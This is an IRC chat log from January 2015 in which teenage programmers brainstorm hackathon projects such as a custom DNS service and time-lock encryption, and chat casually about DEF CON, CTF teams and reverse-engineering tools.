[2015-01-02T20:49:03-0500] <+JacobEdelman> possibly
[2015-01-02T20:49:11-0500] <+JacobEdelman> but the good thing
[2015-01-02T20:49:13-0500] <+JacobEdelman> about hackathons
[2015-01-02T20:49:43-0500] <+JacobEdelman> is that we only need to implement 
[2015-01-02T20:49:51-0500] <+JacobEdelman> it enough for a single demo 
[2015-01-02T20:49:52-0500] <+JacobEdelman> :P
[2015-01-02T20:50:04-0500] <+JacobEdelman> oh, I have another idea
[2015-01-02T20:50:12-0500] <+JacobEdelman> a custom dns server you can use with freinds
[2015-01-02T20:50:19-0500] <+JacobEdelman> so, you can make an account
[2015-01-02T20:50:25-0500] <+JacobEdelman> and install custom domains or whatever
[2015-01-02T20:50:31-0500] <+JacobEdelman> and extensions
[2015-01-02T20:50:35-0500] <+JacobEdelman> on our website
[2015-01-02T20:50:42-0500] <+JacobEdelman> and than you change settings on your computer
[2015-01-02T20:50:44-0500] <+JacobEdelman> and suddenly
[2015-01-02T20:50:47-0500] <+JacobEdelman> .jacob is a thing
[2015-01-02T20:50:52-0500] <+JacobEdelman> howze about that?
[2015-01-02T20:51:28-0500] <+JacobEdelman> was that confusing?
[2015-01-02T20:51:45-0500] <@awe> Nah, I think I get it.
[2015-01-02T20:51:53-0500] <@awe> You just want a customizable local DNS server.
[2015-01-02T20:52:01-0500] <+JacobEdelman> well
[2015-01-02T20:52:10-0500] <+JacobEdelman> probaly
[2015-01-02T20:52:16-0500] <+JacobEdelman> it would be hosted by us
[2015-01-02T20:52:17-0500] <@awe> Maybe not even local.
[2015-01-02T20:52:18-0500] <@awe> Yeah.
[2015-01-02T20:52:20-0500] <+JacobEdelman> yeah
[2015-01-02T20:52:21-0500] <+JacobEdelman> thats it
[2015-01-02T20:52:23-0500] <@awe> You could assign some sort of key.
[2015-01-02T20:52:37-0500] <@awe> That's very easy if we just do a fall back to OpenDNS lol
[2015-01-02T20:52:47-0500] <+JacobEdelman> it would
[2015-01-02T20:52:51-0500] <+JacobEdelman> its not too hard
[2015-01-02T20:52:54-0500] <+JacobEdelman> but not glue code
[2015-01-02T20:52:57-0500] <+JacobEdelman> and super cool
[2015-01-02T20:53:09-0500] <+hardmath123> awe: implement some awesome blockchain thing. you seem interested in it, and hackathon judges will dig anything to do with cryptocurrencies.
[2015-01-02T20:53:20-0500] <+JacobEdelman> oh wait
[2015-01-02T20:53:23-0500] <+JacobEdelman> I had two more ideas
[2015-01-02T20:53:28-0500] <@awe> JacobEdelman: I don't know how well that'd pefrorm.
[2015-01-02T20:53:29-0500] <+JacobEdelman> that have to do with blockchains
[2015-01-02T20:53:30-0500] <@awe> perform*
[2015-01-02T20:53:30-0500] <+JacobEdelman> maybe
[2015-01-02T20:53:35-0500] <@awe> But that's an idea I'd be down with.
[2015-01-02T20:53:42-0500] <+JacobEdelman> two more ideas:
[2015-01-02T20:53:45-0500] <@awe> hardmath123: I just need to think of something novel to do with it lol
[2015-01-02T20:53:55-0500] <@awe> hardmath123: I also need to figure out how to use Universal Plug and Play.
[2015-01-02T20:54:15-0500] <@awe> I really want to get into writing P2P code.
[2015-01-02T20:54:22-0500] <+JacobEdelman> so, my other idea
[2015-01-02T20:54:24-0500] <+JacobEdelman> is this: http://people.csail.mit.edu/rivest/lcs35-puzzle-description.txt
[2015-01-02T20:54:25-0500] <+JacobEdelman> except 
[2015-01-02T20:54:31-0500] <+JacobEdelman> we would have a public server
[2015-01-02T20:54:40-0500] <+JacobEdelman> that somehow publishes a set of public keys daily
[2015-01-02T20:54:46-0500] <+JacobEdelman> and releases the private keys over time
[2015-01-02T20:54:55-0500] <+JacobEdelman> so I can encrypt a message
[2015-01-02T20:55:05-0500] <+JacobEdelman> and nobody would be able to decrypt it
[2015-01-02T20:55:09-0500] <+JacobEdelman> until a set time had passed
[2015-01-02T20:55:43-0500] <@awe> So, time-lapsed messages on the web.
[2015-01-02T20:55:46-0500] <+JacobEdelman> yes
[2015-01-02T20:55:48-0500] <+JacobEdelman> which is cool
[2015-01-02T20:56:02-0500] <+JacobEdelman> we'd want to come up with creative crypto
[2015-01-02T20:56:36-0500] <@awe> You're allowed to build libraries in advance, right?
[2015-01-02T20:56:38-0500] <+JacobEdelman> to ensure that you could somehow combine a public key for 4 days, 16 days, and 256 days, to make a public key that would last for 276 days or something
[2015-01-02T20:56:40-0500] <+JacobEdelman> no
[2015-01-02T20:56:41-0500] <+JacobEdelman> not really
[2015-01-02T20:56:43-0500] <@awe> As long as they're not just straight-implementations of your idea?
[2015-01-02T20:56:49-0500] <+JacobEdelman> well, it depends
[2015-01-02T20:56:52-0500] <@awe> Well, say we decided to do something related to markov chains
[2015-01-02T20:56:52-0500] <+JacobEdelman> what are you thinking?
[2015-01-02T20:56:57-0500] <@awe> I have a markov library.
[2015-01-02T20:56:58-0500] <@awe> Can we use it?
[2015-01-02T20:57:01-0500] <ben> Yes.
[2015-01-02T20:57:03-0500] <+JacobEdelman> we could use it
[2015-01-02T20:57:07-0500] <@awe> So, then, yes, we can implement libraries in advance.
[2015-01-02T20:57:24-0500] <+JacobEdelman> well, I would probaly consider it immoral if the library was to specific
[2015-01-02T20:57:28-0500] <@awe> Right.
[2015-01-02T20:57:35-0500] <@awe> I wasn't suggesting that.
[2015-01-02T20:57:38-0500] <+JacobEdelman> so, to go over ideas
[2015-01-02T20:57:47-0500] <+JacobEdelman> text based video search
[2015-01-02T20:57:57-0500] <+JacobEdelman> webpage div layout design through images
[2015-01-02T20:58:02-0500] <@awe> I'd be interested in seeing if we can find any good blockchain-related things.
[2015-01-02T20:58:05-0500] <+JacobEdelman> custm dns
[2015-01-02T20:58:10-0500] <+JacobEdelman> *custom dns
[2015-01-02T20:58:15-0500] <+JacobEdelman> and time puzzles
[2015-01-02T20:58:17-0500] <+JacobEdelman> well
[2015-01-02T20:58:22-0500] <@awe> It'd be both fun and I agree with hardmath123 that the judges would probably eat it up.
[2015-01-02T20:58:25-0500] <+JacobEdelman> you're the expert on that
[2015-01-02T20:58:32-0500] <+JacobEdelman> they might
[2015-01-02T20:58:45-0500] <@awe> I'm by no means an expert.
[2015-01-02T20:58:54-0500] <+JacobEdelman> well, you know more than the rest of us
[2015-01-02T20:58:55-0500] <ben> I'm interested in seeing good computer-related things. The judges eat those up.
[2015-01-02T20:58:57-0500] <+JacobEdelman> although I know a bit
[2015-01-02T20:59:04-0500] <+JacobEdelman> haha
[2015-01-02T20:59:11-0500] <@awe> ben: well played
[2015-01-02T20:59:34-0500] <alokpathy> ben: Good thinking.
[2015-01-02T20:59:42-0500] <The_Master>  I'm interested in seeing good cake-related things. The judges eat those up.
[2015-01-02T20:59:44-0500] <+JacobEdelman> alokpathy: comments? you've been quite
[2015-01-02T20:59:53-0500] <The_Master> although the cake is a lie
[2015-01-02T20:59:56-0500] <+JacobEdelman> The_Master: lol
[2015-01-02T21:00:49-0500] <ben> What about a human-level AI? That would be cool.
[2015-01-02T21:01:00-0500] <+JacobEdelman> nah, too easy
[2015-01-02T21:02:10-0500] <+JacobEdelman> we could implement some variant of this: http://xkcd.com/810/
[2015-01-02T21:02:31-0500] <ben> Hmm...how about alternative password systems? Like using people's ability to remember images, ala http://people.csail.mit.edu/andyd/rec_method.
[2015-01-02T21:03:13-0500] <+JacobEdelman> ah yeah, thats also a possibility
[2015-01-02T21:05:10-0500] <ben> Or an idea my friend and I almost implemented at HackPrinceton before we decided not to participate: a zoom-able map of the world that displays news stories by location (say the top ten stories in the currently visible rectangle).
[2015-01-02T21:05:52-0500] <+JacobEdelman> oooh, thats cool
[2015-01-02T21:06:29-0500] <@awe> That doesn't already exist?
[2015-01-02T21:06:33-0500] <ben> Can you find it?
[2015-01-02T21:06:56-0500] <alokpathy> Oh that sounds cool.
[2015-01-02T21:06:58-0500] <@awe> No idea.
[2015-01-02T21:07:06-0500] <@awe> But it sounds practical enough that some sort of news service would already have it.
[2015-01-02T21:07:07-0500] <ben> I wasn't able to find it.
[2015-01-02T21:08:32-0500] <@awe> Interesting.
[2015-01-02T21:09:53-0500] <ben> heatmapnews.com is vaguely similar.
[2015-01-02T21:10:08-0500] <ben> Actually, not really.
[2015-01-02T21:10:54-0500] <+hardmath123> the wii does that on their globe thingy
[2015-01-02T21:11:04-0500] <+JacobEdelman> really?
[2015-01-02T21:11:08-0500] <+hardmath123> the old wii
[2015-01-02T21:11:18-0500] <alokpathy> ben: What are the differences?
[2015-01-02T21:11:21-0500] <+hardmath123> the one i played when i was young and dinosaurs roamed the earth
[2015-01-02T21:11:39-0500] <+JacobEdelman> hardmath123: you're the second youngest person here :P
[2015-01-02T21:12:06-0500] <alokpathy> Wait who's the youngest?
[2015-01-02T21:12:11-0500] <+JacobEdelman> The_Master: 
[2015-01-02T21:12:14-0500] <alokpathy> Oh, yeah
[2015-01-02T21:12:15-0500] <alokpathy> oops
[2015-01-02T21:12:18-0500] <+JacobEdelman> :)
[2015-01-02T21:12:26-0500] <ben> alokpathy: the heatmap doesn't display news titles until you click on it, and it doesn't zoom in far for me
[2015-01-02T21:12:36-0500] <alokpathy> Ah okay
[2015-01-02T21:12:50-0500] <ben> I wonder if our Wii has that globe.
[2015-01-02T21:13:22-0500] <alokpathy> Oh, wait, so are we not allowed to do this then?
[2015-01-02T21:13:41-0500] <+JacobEdelman> we are
[2015-01-02T21:13:44-0500] <+JacobEdelman> its still legit
[2015-01-02T21:13:59-0500] <alokpathy> Even though it was on the Wii?
[2015-01-02T21:14:09-0500] <alokpathy> Or are there significant differences?
[2015-01-02T21:14:49-0500] <+JacobEdelman> our's won't be on the Wii
[2015-01-02T21:14:52-0500] <+JacobEdelman> :)
[2015-01-02T21:14:53-0500] <alokpathy> awe: I assume you'd be most interested in working with Rust?
[2015-01-02T21:14:56-0500] <alokpathy> JacobEdelman: Lol, true.
[2015-01-02T21:15:01-0500] <+JacobEdelman> ... we can't work in Rust
[2015-01-02T21:15:13-0500] <@awe> Yeah, but I wouldn't expect it.
[2015-01-02T21:16:05-0500] <alokpathy> Aw, but I wanted to practice.
[2015-01-02T21:16:07-0500] <alokpathy> Fine.
[2015-01-02T21:16:19-0500] <Hyper> heh
[2015-01-02T21:16:29-0500] <Hyper> y'all best be set up near my group :)
[2015-01-02T21:16:33-0500] <ben> https://www.youtube.com/watch?v=QnLiJIqBJrA is a video of that Wii news globe.
[2015-01-02T21:16:39-0500] <Hyper> so we can chill and code :)
[2015-01-02T21:16:42-0500] <+JacobEdelman> Hyper: we will
[2015-01-02T21:16:51-0500] <+JacobEdelman> Hyper: who else would we copy code from ? :P
[2015-01-02T21:16:59-0500] <Hyper> not me :)
[2015-01-02T21:17:12-0500] <Hyper> :)
[2015-01-02T21:17:26-0500] <Hyper> >:)
[2015-01-02T21:18:18-0500] <@awe> Oh, cool.
[2015-01-02T21:18:20-0500] <@awe> I get to meet Hyper.
[2015-01-02T21:18:36-0500] <Hyper> I'm basically as lame as you'd expect
[2015-01-02T21:18:51-0500] <@awe> but
[2015-01-02T21:18:51-0500] <@awe> but
[2015-01-02T21:18:52-0500] <+JacobEdelman> awe: Hyper is cool
[2015-01-02T21:18:52-0500] <@awe> you do D.
[2015-01-02T21:18:54-0500] <+JacobEdelman> he has hair
[2015-01-02T21:18:57-0500] <@awe> These guys just do JS.
[2015-01-02T21:19:08-0500] <@awe> And Python.
[2015-01-02T21:19:10-0500] <+JacobEdelman> I do python
[2015-01-02T21:19:11-0500] <+JacobEdelman> and lark
[2015-01-02T21:19:12-0500] <+JacobEdelman> and js
[2015-01-02T21:19:16-0500] <Hyper> to be fair i'll probably be doing js and python at pennapps :)
[2015-01-02T21:19:20-0500] <+JacobEdelman> :)
[2015-01-02T21:19:21-0500] <@awe> I figured.
[2015-01-02T21:19:23-0500] <+JacobEdelman> thats the spirit!
[2015-01-02T21:19:26-0500] <@awe> But still.
[2015-01-02T21:19:51-0500] <@awe> Doesn't change the fact that you're a D programmer.
[2015-01-02T21:19:53-0500] <Hyper> I can show off RageLake to you guys :D
[2015-01-02T21:20:12-0500] <Hyper> it's nearly at the point where I feel like adding content instead of more mechanics
[2015-01-02T21:21:23-0500] <@awe> Neat.
[2015-01-02T21:21:43-0500] <ben> Does the console now fully simulate the player's mind?
[2015-01-02T21:21:55-0500] <Tamini_> whooa
[2015-01-02T21:21:58-0500] <Tamini_> a wild ben appears
[2015-01-02T21:22:18-0500] <+JacobEdelman> he's been here for a bit
[2015-01-02T21:22:29-0500] <The_Master> @list
[2015-01-02T21:22:29-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-02T21:22:30-0500] <alchemy> You have: fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning
[2015-01-02T21:22:30-0500] <alchemy> You have: lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, mutant, neanderthal, nexorg, ninja, ocean, olaf, paper, pdgn, penguin
[2015-01-02T21:22:30-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, restaurant, robot, rust, sandstorm, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam
[2015-01-02T21:22:30-0500] <alchemy> You have: stone, sword, sysadmin, thunder, tool, tornado, torvalds, tree, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd
[2015-01-02T21:22:30-0500] <alchemy> That's 97 out of 136!
[2015-01-02T21:22:32-0500] <+JacobEdelman> @possible ben
[2015-01-02T21:22:32-0500] <alchemy> No, you can't make ben.
[2015-01-02T21:22:34-0500] <Hyper> ben: not yet
[2015-01-02T21:22:35-0500] <+JacobEdelman> @possible bene
[2015-01-02T21:22:36-0500] <alchemy> No, you can't make bene.
[2015-01-02T21:22:43-0500] <The_Master> @possible ezra
[2015-01-02T21:22:43-0500] <alchemy> No, you can't make ezra.
[2015-01-02T21:22:44-0500] <+JacobEdelman> hardmath123: no ben? or ezra?
[2015-01-02T21:22:46-0500] <The_Master> @possible Ezra
[2015-01-02T21:22:46-0500] <Hyper> but it does have spelling corrections and as-you-type autocomplete
[2015-01-02T21:22:47-0500] <alchemy> No, you can't make Ezra.
[2015-01-02T21:23:14-0500] <Hyper> see http://gfycat.com/DefinitiveDistantJunco
[2015-01-02T21:23:15-0500] <Hyper> :D
[2015-01-02T21:23:44-0500] <Tamini_> nyeh
[2015-01-02T21:23:51-0500] <Tamini_> i wanna make time :(
[2015-01-02T21:24:57-0500] <The_Master> @combine fire love
[2015-01-02T21:24:58-0500] <alchemy> fire and love don't make anything exciting.
[2015-01-02T21:25:06-0500] <@awe> Hyper: neat
[2015-01-02T21:25:25-0500] <Hyper> also what is it about making gifs that makes me so happy/
[2015-01-02T21:25:41-0500] <Hyper> it's so satisfying
[2015-01-02T21:28:40-0500] <Hyper> JacobEdelman: also one of my teammates has longer hair than I do :P
[2015-01-02T21:31:30-0500] <@awe> I need to get a haircut.
[2015-01-02T21:31:41-0500] <@awe> JacobEdelman: does he have longer hair than I once did?
[2015-01-02T21:31:47-0500] <+JacobEdelman> nah
[2015-01-02T21:31:54-0500] <+JacobEdelman> maybe equal?
[2015-01-02T21:31:55-0500] <+JacobEdelman> I'm not sure
[2015-01-02T21:32:00-0500] <+JacobEdelman> probaly a bit shorter
[2015-01-02T21:32:04-0500] <@awe> Okay.
[2015-01-02T21:32:06-0500] <+JacobEdelman> but on the same order of magnitude
[2015-01-02T21:32:11-0500] <@awe> Hyper: fully extended, how long is your hair?
[2015-01-02T21:32:15-0500] <@awe> Hyper: ass-length?
[2015-01-02T21:32:19-0500] <@awe> Hyper: mid-back?
[2015-01-02T21:32:20-0500] <Hyper> lol no
[2015-01-02T21:32:26-0500] <Hyper> um
[2015-01-02T21:32:28-0500] <Hyper> shoulders ish?
[2015-01-02T21:32:30-0500] <Hyper> I think
[2015-01-02T21:32:35-0500] <@awe> The longest my hair ever was was fully-extended below my shoulder blades.
[2015-01-02T21:32:39-0500] <@awe> That being said, my hair is curly.
[2015-01-02T21:32:41-0500] <@awe> Very curly.
[2015-01-02T21:32:55-0500] <Hyper> kay
[2015-01-02T21:37:09-0500] <Tamini_> i wanna see long hair awe
[2015-01-02T21:37:33-0500] <@awe> Check my facebook then?
[2015-01-02T21:43:46-0500] <+JacobEdelman> wheres the long hair on fb?
[2015-01-02T21:43:50-0500] <+JacobEdelman> I no see long hair
[2015-01-02T21:46:10-0500] <alokpathy> I think he's referring to his pre-PClassic 2013s hair.
[2015-01-02T21:46:24-0500] <+JacobEdelman> correct
[2015-01-02T21:46:32-0500] <+JacobEdelman> but I no see no pics
[2015-01-02T21:46:37-0500] <alokpathy> Scroll back far enough.
[2015-01-02T21:47:05-0500] <@awe> profile pictures
[2015-01-02T21:47:07-0500] <@awe> go back
[2015-01-02T21:48:18-0500] <Tamini_> oh
[2015-01-02T21:48:24-0500] <Tamini_> ive seen this before
[2015-01-02T21:48:43-0500] <@awe> Probably stalked me before.
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[2015-01-02T22:05:14-0500] <Tamini_> alokpathy: yo man is usaco tmr or no
[2015-01-02T22:05:36-0500] <Tamini_> next week?
[2015-01-02T22:05:59-0500] <alokpathy> Tamini_: Two weeks.
[2015-01-02T22:06:11-0500] <Tamini_> oh yay <3
[2015-01-02T22:06:17-0500] <Tamini_> schedule's weird this year
[2015-01-02T22:06:35-0500] <alokpathy> Yeah.
[2015-01-02T22:07:47-0500] <+JacobEdelman> pclassic 2013 was weird
[2015-01-02T22:07:59-0500] <+JacobEdelman> I knew their was this kid, aaron weiss, who was on my time
[2015-01-02T22:08:13-0500] <+JacobEdelman> all I knew about him was: he was good at programming, talked a lot, and had long hair
[2015-01-02T22:08:15-0500] <alokpathy> Um
[2015-01-02T22:08:20-0500] <+JacobEdelman> so, i show up
[2015-01-02T22:08:27-0500] <+JacobEdelman> and theres this kid talking with my team
[2015-01-02T22:08:34-0500] <+JacobEdelman> he was clearly smart, talking a lot
[2015-01-02T22:08:37-0500] <+JacobEdelman> but his hair was short
[2015-01-02T22:08:43-0500] <+JacobEdelman> I was very confused
[2015-01-02T22:09:01-0500] <+JacobEdelman> later, this kid said that people with long hair were good programmers
[2015-01-02T22:09:25-0500] <+JacobEdelman> yes, awe had chosen that one day to cut his hair
[2015-01-02T22:09:30-0500] <+JacobEdelman> for the first time in years it seems
[2015-01-02T22:09:32-0500] <@awe> N.
[2015-01-02T22:09:33-0500] <@awe> The day before.
[2015-01-02T22:10:15-0500] <@awe> Maybe two days before.
[2015-01-02T22:10:16-0500] <@awe> I forget.
[2015-01-02T22:10:19-0500] <+JacobEdelman> nit picker
[2015-01-02T22:15:05-0500] <@awe> Yah.
[2015-01-02T22:19:42-0500] <@awe> JacobEdelman: Also, I wasn't wrong.
[2015-01-02T22:19:46-0500] <@awe> JacobEdelman: the guys who got first place had long hair
[2015-01-02T22:21:18-0500] <Tamini_> lol
[2015-01-02T22:21:23-0500] <Tamini_> well
[2015-01-02T22:21:27-0500] <Tamini_> none of us have long hair
[2015-01-02T22:21:31-0500] <Tamini_> except me ofc
[2015-01-02T22:21:35-0500] <Tamini_> and i do math
[2015-01-02T22:26:36-0500] <@awe> Tamini_: wait, so, are you doing pennapps with us?
[2015-01-02T22:26:43-0500] <@awe> pls yes
[2015-01-02T22:26:49-0500] <+Tamini> awe: noooo
[2015-01-02T22:26:56-0500] <+Tamini> its also on the same weekend as everything ever
[2015-01-02T22:26:56-0500] <alokpathy> :(
[2015-01-02T22:27:00-0500] <@awe> :(
[2015-01-02T22:27:03-0500] <+Tamini> im sowee
[2015-01-02T22:27:06-0500] <+Tamini> ill be there in spirit
[2015-01-02T22:27:07-0500] <+Tamini> and on irc
[2015-01-02T22:27:08-0500] <@awe> BUT THAT WAS LIKE
[2015-01-02T22:27:09-0500] <@awe> HALF OF MY REASON
[2015-01-02T22:27:10-0500] <+Tamini> and possibly hangout
[2015-01-02T22:27:14-0500] <+Tamini> awe: <3
[2015-01-02T22:27:29-0500] <+Tamini> we can do that thing we did for katz
[2015-01-02T22:27:38-0500] <+Tamini> where we like hangout
[2015-01-02T22:36:54-0500] <+JacobEdelman> fun
[2015-01-02T22:37:00-0500] <+JacobEdelman> during the summer
[2015-01-02T22:37:07-0500] <+JacobEdelman> we should have a pdgn meetup
[2015-01-02T22:37:19-0500] <@awe> Where in the world?
[2015-01-02T22:37:34-0500] <@awe> Personally, I vote South Africa.
[2015-01-02T22:37:39-0500] <+Tamini> heh
[2015-01-02T22:37:44-0500] <+Tamini> i have college apps to write
[2015-01-02T22:37:46-0500] <+Tamini> and work to do
[2015-01-02T22:37:48-0500] <+Tamini> nowhere too far
[2015-01-02T22:39:11-0500] <alokpathy> Tamini: College apps in the summer?
[2015-01-02T22:39:19-0500] <alokpathy> Common App doesn't come out until August 1st.
[2015-01-02T22:39:27-0500] <+JacobEdelman> awe: cause all our members are near south africa
[2015-01-02T22:39:30-0500] <@awe> Yeah!
[2015-01-02T22:39:37-0500] <+Tamini> alokpathy: questions are same every year tho
[2015-01-02T22:39:47-0500] <@awe> Oh my god.
[2015-01-02T22:39:50-0500] <@awe> You're going to write them IN ADVANCE?
[2015-01-02T22:39:51-0500] <+JacobEdelman> Tamini: must just hate us
[2015-01-02T22:39:52-0500] <@awe> That's insane.
[2015-01-02T22:39:56-0500] <alokpathy> Tamini: So you'll be spending all your time on one essay? :P
[2015-01-02T22:39:56-0500] <@awe> I wrote essays the night before, brah.
[2015-01-02T22:40:25-0500] <+Tamini> brb i just uh
[2015-01-02T22:40:28-0500] <+Tamini> did a stupid
[2015-01-02T22:40:34-0500] <+JacobEdelman> she hates us
[2015-01-02T22:40:36-0500] <alokpathy> I feel you
[2015-01-02T22:40:39-0500] <+JacobEdelman> only logical conclusion
[2015-01-02T22:41:02-0500] <+JacobEdelman> she does college apps rather than see us
[2015-01-02T22:41:03-0500] <+Tamini> o god that was 
[2015-01-02T22:41:05-0500] <+Tamini> embarrassing
[2015-01-02T22:41:07-0500] <+Tamini> i just uh
[2015-01-02T22:41:14-0500] <+Tamini> got myself tangled in a bunch of wires
[2015-01-02T22:41:18-0500] <+Tamini> and nearly choked getting out
[2015-01-02T22:41:19-0500] <+JacobEdelman> ...?
[2015-01-02T22:41:24-0500] <+Tamini> headphones
[2015-01-02T22:41:29-0500] <+JacobEdelman> wow
[2015-01-02T22:41:30-0500] <+Tamini> +charger
[2015-01-02T22:41:30-0500] <alokpathy> wat
[2015-01-02T22:41:34-0500] <+Tamini> +mouse
[2015-01-02T22:41:37-0500] <+Tamini> i was moving laptop to bed
[2015-01-02T22:41:40-0500] <+Tamini> i got tangled
[2015-01-02T22:41:41-0500] <+Tamini> :(
[2015-01-02T22:41:46-0500] <jwoglom> Tamini: maybe you have too many wires then
[2015-01-02T22:41:54-0500] <jwoglom> take the chance to go wireless and stuff
[2015-01-02T23:08:21-0500] <+JacobEdelman> awe: alokpathy: we should do this for pennapps: http://xkcd.com/350/
[2015-01-02T23:09:39-0500] <+Tamini> oh, wait
[2015-01-02T23:09:46-0500] <+Tamini> alokpathy: did i tell you what i was doing last night
[2015-01-02T23:10:05-0500] <+Tamini> we were trying to devise a reasonable scientific motivation
[2015-01-02T23:10:12-0500] <+Tamini> for mapping relationships of everyone in the schoool
[2015-01-02T23:11:17-0500] <+JacobEdelman> cause we can?
[2015-01-02T23:11:24-0500] <+JacobEdelman> thats a good motivation
[2015-01-02T23:12:19-0500] <+Tamini> well like
[2015-01-02T23:12:23-0500] <+Tamini> senior research project
[2015-01-02T23:12:27-0500] <+Tamini> kinda basis
[2015-01-02T23:12:33-0500] <+Tamini> that's why i was looking at the social network graphs
[2015-01-02T23:24:34-0500] <+JacobEdelman> ah, okay
[2015-01-02T23:25:03-0500] <+JacobEdelman> comparision of facebook friends to irl friends
[2015-01-02T23:25:10-0500] <+JacobEdelman> see how accurate it is
[2015-01-02T23:27:25-0500] <+Tamini> lol
[2015-01-02T23:30:37-0500] <+JacobEdelman> what? that was a legit idea
[2015-01-02T23:47:42-0500] <+JacobEdelman> gnight
[2015-01-03T00:20:57-0500] <ubuntor> awe: can i get a password reset?
[2015-01-03T00:21:58-0500] <@awe> ubuntor: yeah, ggimmie a sec
[2015-01-03T00:24:27-0500] <@awe> ubuntor: okay, go ahead and register again.
[2015-01-03T00:24:32-0500] <ubuntor> alright
[2015-01-03T00:27:16-0500] <@awe> Sorry again to everyone. I'm really annoyed that the sha-512 implementation I chose when I just started learning Rust was terrible.
[2015-01-03T00:29:25-0500] <+Tamini> its okay, awe <3
[2015-01-03T00:29:28-0500] <+Tamini> we still wuv you
[2015-01-03T00:29:30-0500] <+Tamini> heh
[2015-01-03T01:02:00-0500] <@awe> It kind of makes sense though.
[2015-01-03T01:02:16-0500] <@awe> It was this dude working on crypto stuff in Rust.
[2015-01-03T01:02:18-0500] <@awe> So, it was all new.
[2015-01-03T01:02:46-0500] <@awe> At the time, it didn't really make sense to use OpenSSL, but then I started using it for my irc library anyway.
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[2015-01-03T01:54:02-0500] <+hardmath123> Tamini: my hair got shorter this morning.
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[2015-01-03T02:25:31-0500] <+Tamini> hardmath123: it just grew shorter, right? not like it got cut or anything
[2015-01-03T02:28:20-0500] <+hardmath123> Tamini: it wasn't cut, it was mowed.
[2015-01-03T02:30:35-0500] <+Tamini> heh
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[2015-01-03T03:15:55-0500] <nezorg> we should all just meet up at defcon
[2015-01-03T03:16:31-0500] <bob_twinkles> that's like big stacks to attend though
[2015-01-03T03:16:38-0500] <nezorg> huh?
[2015-01-03T03:16:44-0500] <nezorg> you mean travel?
[2015-01-03T03:17:02-0500] <bob_twinkles> aren't tickets to defcon like a few hundred dollars each?
[2015-01-03T03:17:19-0500] <nezorg> oh, yeah, but that's fairly cheap as far as conferences go
[2015-01-03T03:17:35-0500] <bob_twinkles> but not as far as high school student budgets go =P
[2015-01-03T03:17:52-0500] <nezorg> protip: go with a defcon-qualifying ctf team and get free badges
[2015-01-03T03:17:57-0500] <nezorg> :D
[2015-01-03T03:18:04-0500] <bob_twinkles> lol
[2015-01-03T03:18:14-0500] <nezorg> yay shellphish
[2015-01-03T03:18:26-0500] <bob_twinkles> *pats pockets* whups I seem to misplaced my local CTF team
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[2015-01-03T03:18:57-0500] <nezorg> too bad
[2015-01-03T03:19:05-0500] <bob_twinkles> (defcon-qualifying anyway, I know where my entry level team is) hi Tamini_!
[2015-01-03T03:19:05-0500] <nezorg> just intern at the ucsb seclab
[2015-01-03T03:19:11-0500] <bob_twinkles> well see
[2015-01-03T03:19:13-0500] <bob_twinkles> there's this problem
[2015-01-03T03:19:18-0500] <bob_twinkles> where that would be a 3 day commute
[2015-01-03T03:19:20-0500] <bob_twinkles> one way
[2015-01-03T03:19:24-0500] <Tamini_> bob_twinkles: hi :O
[2015-01-03T03:19:27-0500] <Tamini_> are we doing defcon
[2015-01-03T03:19:28-0500] <Tamini_> :P
[2015-01-03T03:19:30-0500] <nezorg> well then live there
[2015-01-03T03:19:38-0500] <bob_twinkles> can't
[2015-01-03T03:19:42-0500] <bob_twinkles> too many damn commies
[2015-01-03T03:19:42-0500] <Tamini_> nezorg: give me a place to stay and ill do it
[2015-01-03T03:19:50-0500] <nezorg> bob_twinkles: wat
[2015-01-03T03:19:52-0500] <Tamini_> lol
[2015-01-03T03:19:56-0500] <nezorg> Tamini_: hmmmmmm
[2015-01-03T03:19:56-0500] <Tamini_> california -> commies
[2015-01-03T03:19:58-0500] <Tamini_> since when
[2015-01-03T03:20:17-0500] <nezorg> maybe an above average number of socialists
[2015-01-03T03:20:26-0500] <Tamini_> LOL
[2015-01-03T03:20:30-0500] <Tamini_> usrs
[2015-01-03T03:20:40-0500] <bob_twinkles> my mom is not a big fan of California =P
[2015-01-03T03:20:50-0500] <nezorg> why not?
[2015-01-03T03:20:54-0500] <bob_twinkles> damn commies
[2015-01-03T03:20:58-0500] <Tamini_> nezorg: i fit in a very small square footage of space pls
[2015-01-03T03:21:00-0500] <Tamini_> also yknow
[2015-01-03T03:21:10-0500] <Tamini_> if you want us to defcon
[2015-01-03T03:21:12-0500] <nezorg> bob_twinkles: ...explain plz?
[2015-01-03T03:21:20-0500] <Tamini_> you should train us so we can qual yes?
[2015-01-03T03:21:21-0500] <bob_twinkles> 3liberal5me
[2015-01-03T03:21:23-0500] <Tamini_> <3
[2015-01-03T03:21:36-0500] <nezorg> bob_twinkles: uhhhh... okay then
[2015-01-03T03:21:42-0500] <nezorg> Tamini_: heheheh
[2015-01-03T03:21:54-0500] <bob_twinkles> I think we could do it
[2015-01-03T03:21:58-0500] <nezorg> defcon qual-ing teams are... quite good
[2015-01-03T03:22:07-0500] <bob_twinkles> we just need... a decade or so worth of custom tooling
[2015-01-03T03:22:19-0500] <nezorg> angr!
[2015-01-03T03:22:21-0500] <Tamini_> lol
[2015-01-03T03:22:27-0500] <Tamini_> nezorg has lots of stuff
[2015-01-03T03:22:40-0500] <nezorg> angr really is quite cool
[2015-01-03T03:22:45-0500] <nezorg> but unfortunately not magical
[2015-01-03T03:22:48-0500] <Tamini_> i think you should donate tools and knowledge so you can see me again before csaw :)
[2015-01-03T03:22:55-0500] <Tamini_> yes, most things arent :(
[2015-01-03T03:23:51-0500] <bob_twinkles> I don't need magical, I just need something better than "can't even reassemble the output of disassembler from the same package"
[2015-01-03T03:24:00-0500] <bob_twinkles> (frickin mono)
[2015-01-03T03:24:26-0500] <Tamini_> lol
[2015-01-03T03:24:54-0500] <nezorg> ida helps
[2015-01-03T03:24:59-0500] <nezorg> but is expensive
[2015-01-03T03:25:21-0500] <bob_twinkles> yeah
[2015-01-03T03:25:27-0500] <bob_twinkles> you didn't do ructfe right?
[2015-01-03T03:25:52-0500] <nezorg> no, I decided I like sleep
